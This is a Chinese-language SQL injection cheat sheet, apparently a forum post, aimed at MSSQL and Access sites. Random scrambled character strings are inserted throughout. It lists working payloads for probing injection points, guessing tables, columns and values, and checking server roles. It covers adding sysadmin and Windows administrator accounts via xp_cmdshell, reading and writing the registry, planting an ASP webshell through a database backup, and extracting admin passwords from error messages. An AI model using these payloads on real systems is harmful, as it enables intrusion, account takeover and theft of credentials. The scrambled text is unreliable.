1.判断是否有注入
8 T7 J) C) s" ];and 1=1 4 W6 E9 G# n; I9 ]( G1 ]
;and 1=2
3 D* g1 L _3 n/ r' j I; n( k0 v, s0 z7 [& p$ k3 M4 ~
2.初步判断是否是mssql p8 q! z- W w! V8 _( y1 |
;and user>0 F( v+ o4 m/ ~0 u% e. H
/ e2 b/ a; {. v$ C0 X" `
3.判断数据库系统 4 y: K8 ] T) f! _
;and (select count(*) from sysobjects)>0 mssql
. x, B+ m" k1 n;and (select count(*) from msysobjects)>0 access
# @( h0 Y" m- ]+ G% G6 }& ^
8 O+ P3 I4 m+ m2 j: [$ l4.注入参数是字符 ' O) t2 D! l) \2 N
'and [查询条件] and ''=' * q+ {- y2 g! I% w8 z8 C+ u s1 l0 b
$ r' K" G9 V" m. m3 h- Z5.搜索时没过滤参数的 ~' U; _- x) U- ]9 j$ R
'and [查询条件] and '%25'='
/ X: Z( H! c* M, J y3 j
8 {* J$ X6 F. u8 }4 y6.猜数表名 2 X$ @, }- P! {( \# f `
;and (select Count(*) from [表名])>0
/ j* E7 {& l# r# U. `
6 ~7 \+ u6 k/ n: M3 \1 T3 h7.猜字段
$ i: h" o& ]0 v* Q* n;and (select Count(字段名) from 表名)>0
' {; f/ F, y! e9 V4 z3 i) M. {
f C: e: ?6 ^2 q4 ?" ?8.猜字段中记录长度 - x2 h e! Y6 w7 X& W% g& u
;and (select top 1 len(字段名) from 表名)>0
- h& c- `/ ^3 |" [4 q9 J
$ g( Q/ H7 V: T8 N9 T9.(1)猜字段的ascii值(access) 2 j' F7 f" p9 n# ?; N
;and (select top 1 asc(mid(字段名,1,1)) from 表名)>0
( w, o* F" y2 P- i
0 P% y$ c L6 F* F7 i2 \: }8 W(2)猜字段的ascii值(mssql) $ ^" N5 O6 g! s+ l
;and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0 ^5 r0 t( ?' C) k) H0 h
. }0 H i' O3 F" Y8 o- a9 |
10.测试权限结构(mssql)
2 U5 S9 u& G0 q- x1 C;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 M4 \5 Z7 ?2 ]& L: `;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- / S0 S% U* s7 p2 o4 y5 O- M
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ; {5 O9 P; r& H3 k2 X0 b
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
% Y0 t$ M8 N0 e5 r- W;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
1 ^0 q& g% l" {;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
; K" _" X9 q U;and 1=(select IS_MEMBER('db_owner'));-- $ k1 U7 D6 P+ Y7 v1 {! H; Q. u
' _+ j( y: L( d" t* d1 J& S
11.添加mssql和系统的帐户 0 F7 x: l) r8 V! G5 P q0 t
;exec master.dbo.sp_addlogin username;-- + l* C0 s& x1 P3 i3 H
;exec master.dbo.sp_password null,username,password;-- 0 D- ~+ V7 p& o8 q
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
% x e0 W7 k# S! g0 Y0 {;exec master.dbo.xp_cmdshell 'net user username password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
8 v0 ]+ }4 R$ V4 t;exec master.dbo.xp_cmdshell 'net user username password /add';--
6 K U M$ S( z2 T# |" Q5 a l;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
% H2 M( O0 \( l$ ^$ C( R8 d0 {* e; R' R% T. H
12.(1)遍历目录 2 Z( [$ F" y0 T) z- R
;create table dirs(paths varchar(100), id int) # C: Y" O0 v T# Z& h' I. J* { i
;insert dirs exec master.dbo.xp_dirtree 'c:\'
4 V9 y5 T6 K1 m1 @+ F;and (select top 1 paths from dirs)>0
1 W/ E2 [7 v- p; I4 `;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
$ _: G& q" g5 o; J7 t: P" w& C K( V) D0 k9 f2 M& U9 m: M; A6 ^3 N
(2)遍历目录
! ?( [( D( `. g5 H;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- % _1 k c+ e7 B: {
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 6 W2 X* ^6 c% j2 W3 t
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
" H2 ?6 W. M* Z Y( ~;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树结构
, d( _: i1 [: [0 T;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
6 ]7 V( @ o' T4 N2 M' c" H) W7 b" B, I7 z& K
13.mssql中的存储过程 / }( \* L0 J, V$ w
xp_regenumvalues 注册表根键, 子键
' Q, q3 {4 o$ c' M, F- l7 n+ L2 E;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 ' @% F: x7 k9 a( j
xp_regread 根键,子键,键值名 1 _( Y0 a; O/ B0 o/ B0 I' k; N
;exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
+ {, `( P% g" Z8 C" W% Jxp_regwrite 根键,子键, 值名, 值类型, 值
; A/ {6 y3 I+ O+ E# ?& O! g% A! L值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
2 A4 Q6 Q. ^* O- @, Y: T;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName','reg_sz','hello' 写入注册表
: p0 _3 |. A& h0 K0 o7 n" `/ lxp_regdeletevalue 根键,子键,值名
( b1 l) M" o: Uexec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName' 删除某个值
! a% K1 K7 u( p. D. I6 ?xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
- Y# p! U( y' a0 n; y+ [2 x2 d) N2 k9 ^
14.mssql的backup创建webshell 0 g8 r4 V0 x- G' m/ V4 l
use model
0 X3 Z1 L+ u, S6 J" L9 c+ ucreate table cmd(str image); , M% S# d8 S7 O* q
insert into cmd(str) values ('<% Dim oScript %>'); % h% {8 q% |& o1 L
backup database model to disk='c:\l.asp';
2 R3 \: i$ y' D; {
3 M3 F: ^8 U3 z& {15.mssql内置函数
2 {- k. k8 T2 z* s! H( ];and (select @@version)>0 获得Windows的版本号 * q$ x* F1 E. Y4 a+ @
;and user_name()='dbo' 判断当前系统的连接用户是不是sa 0 E/ e+ y( n% p: u& F# g; Q5 C
;and (select user_name())>0 爆当前系统的连接用户 ; W# i# _, g% j( Y! M8 t3 }
;and (select db_name())>0 得到当前连接的数据库
' Q$ v2 j( q4 K2 O4 f
( ~4 M8 M6 a, D# Q% r* j. M
) r' ^0 N9 C- u; ]) w4 l0 p
# e5 _! `1 H' a5 X1 [/ T, I' FMSSQL手注暴库
# @6 [- G4 x. |0 t8 E6 s$ X* y1 ~1 w( ` V Z/ n
1.暴出当前表名和列名
, D4 |2 ], m9 z$ [- s在注入点后提交“'having 1=1--",得到返回信息为英文,在这段英文中即可看到一个表名和一个列名。提交“group by 暴出的表名列名having 1=1--",可得到另一个列名;继续提交“group by 暴了的表名列名,暴出的表名.第2个列名 having 1=1--",可再得到一个列名。用同样的方法提交,直到页面不再返回错误信息,就可以得到所有的列名。小知识:暴表名与列名是在SQL语句中“having 1=1—"与GROUP BY结合使用,进行条件判断的。由于语句不完整,因此数据库返回错误信息,并显示一个表名和一个列名。基本方法只能暴出数据库中的当前表,如果某个表中包含的列名非常多,用上基本方法就非常困难了。
2 M4 e/ v4 S/ k# ]/ {$ k% q ?3 e+ y( n9 n$ f5 t
第一.爆出所有数据库名& t1 J1 w/ T6 u+ L" R3 F$ [
利用“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])"语句,暴出数据库中任意表名和列名,其中“[N]"表示数据库中的第N个表。
6 G) L: ]8 x& ~2 d第一步:在注入点后提交如下语句:“and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=12)",因为 dbid 的值从1到5,是系统使用的,所以用户自己建的一定是从6开始的,并且我们提交了 name>1,name字段是一个字符型的字段,和数字比较会出错因此在提交后,IE会返回如下的信息:“Microsoft OLE DB Provider for ODBC Drivers 错误 ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 'Northwind' 转换为数据类型为 int 的列时发生语法错误。",这样就把name字段的值暴出来了,也就是我们得到了一个库名“Northwind"。改变“dbid"的值可以得出所有的库名。
( D0 k# D) C3 s/ w- V
5 k! t8 t0 T' o! c1 K) L# {and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=[N])-- 修改N从6开始爆出所有数据库名 y2 v$ K0 V: q' u3 h W: q3 ]
% j3 _! z0 w- a' i# r7 q% U
8 |8 `! M' o- C. o- D$ G$ _ T第二.爆出指定库中的所有表名7 c- ]+ [1 s5 Q2 b% m9 K% i
得到了库名后,现在要得到库中所有的表名,提交如下语句:"and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U') ",这里要暴的是master这个库中的表名,查询的SQL语句返回的是name的值,然后和数字0比较,这样就会暴露出name的值。提交后一个表名为“'spt_monito"就被暴出来了。
) F# R7 N/ J8 T# M* H B/ C$ q再接着暴其他的表,继续提交如下语句:“and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U' and name not in('spt_monito'))"提交后,又暴出一个表名为"cd512"。依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出所有的表名。
5 }8 P4 ]/ ~' k, I( u
8 p6 X( _& u: G3 b! m5 ^- G" Eand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U')--
* f& D. x- \6 o6 T% tand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]'))--
# ]+ S. f n2 b' P) e/ e$ yand 0<>(select top 1 name from [指定库名].dbo.sysobjects where xtype='U' and name not in('[爆出的表名]','[爆出的第二表名]'))--. J+ I' S. y- I- w( x
" r) Z2 P0 i- ?- I4 r4.爆出指定表中的所有列名
+ f0 R5 M, B$ j! S+ f. q$ iand 0<>(select count(*) from bbs.dbo.sysobjects where xtype='U' and name='admin' and uid>(str(id)))
6 u! c6 J$ w- f( X: K//把ID值转成字符型后再和一个整型值比较。ID号出来了。值为:949578421 name='表名'
2 R+ G4 ]/ k9 `2 K3 A% g" a- v5 J/ a) j
and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421)-- 爆出admin表中的一个字段名( F3 u. s5 N) n- t r/ X+ r O
5 q2 h! A9 s1 S5 M- D
再提交and 0<>(select top 1 name from wutong.dbo.syscolumns where id=949578421 and name not in('adduser'))--
' ]. T* Y9 I/ D( X! ~依次提交"and name not in(' spt_monito',' cd512',..))"就可以查出admin表中的所有字段名。
+ z P) q9 y7 Q. n, I1 i) ^- j' q2 |
9 z: G& {( K( i& F6 t5 c6 K8 C g. x ~2 @2 a
and 0<>(select count(*) from [指定库名].dbo.sysobjects where xtype='U' and name='[要爆字段的表名]' and uid>(str(id)))-- 爆出要爆字段的表名id值
, O$ i( U5 i- Z, |/ ~, D: X6 x2 ]- C- U6 ]- _( a1 T$ A# Y* V. M
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值)-- 爆出id值表中的一个字段名$ i' R& J0 r: U% W4 n& I9 j, _# M
$ [! n2 r5 V' M% m
and 0<>(select top 1 name from [指定库名].dbo.syscolumns where id=爆出的id值 and name not in('[爆出的字段名]'))-- 2 F. i- b! R5 A9 n6 z
+ S1 A* T" ~0 t! V6 P
$ @2 D. _4 C+ c: w8 H9 Y) B7 M E3 [+ P
' a% v) |$ C2 B' m5.读取指定表中的数据0 e$ {4 t/ T# G$ [' D! i( u
y0 H( j; L& q7 R+ w' r* D9 R
and 0<(select A_ID from wutong.dbo.admin where A_UserID>1)-- 爆出A_PWD的内容
4 h s- A4 ^$ i+ o: K/ l0 z B& b
3 q+ R, [7 b. t$ S' x. uand 0<(select [一个存在的字段] from [指定库名].dbo.[要查询的表名] where [要爆内容的字段名]>1)--: W+ m2 }& O0 I$ O
# [# ^# K" o3 _+ q7 V
and 0<(select A_ID from wutong.dbo.admin where A_PWD>1 and A_UserID='admin')-- 爆出admin的密码; k! p: |2 T: c3 l) u% B. D$ K+ D* U
6 [, Y% z$ g3 C9 K j4 l. a: G* G5 N- M# l- O
and 0<(Select Top 1 A_UserID FROM admin where A_ID<>1)-- 爆出id<>1的管理员名字(fuhao)# K% o) |9 \4 [1 ?7 `
$ `( y( O3 _/ t
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao')-- 爆出第二个管理员的名字 <>不等于(tuiguang)
6 u+ s# Y* E; U6 ?6 l% T; G9 Q' G/ A8 I m5 N
and 0<(Select Top 1 A_UserID FROM admin where A_ID <>1 and A_UserID <> 'fuhao'and A_UserID <> 'tuiguang')--
# z+ w) `, x; D; n% m# j0 P; F% v' @! T
知道了数据库的表名、列名后,可以利用“查询语句"读取数据库中的任意信息。例如要读取某个表中某列中的第N个数据,可提交语句:“and (Select Top 1 列名 FROM 表名 where id=[N])>1"( [N]代表列中的第N条数据),从IE返回信息中即可得知想要的数据。
/ V% g* |9 o# Z* y |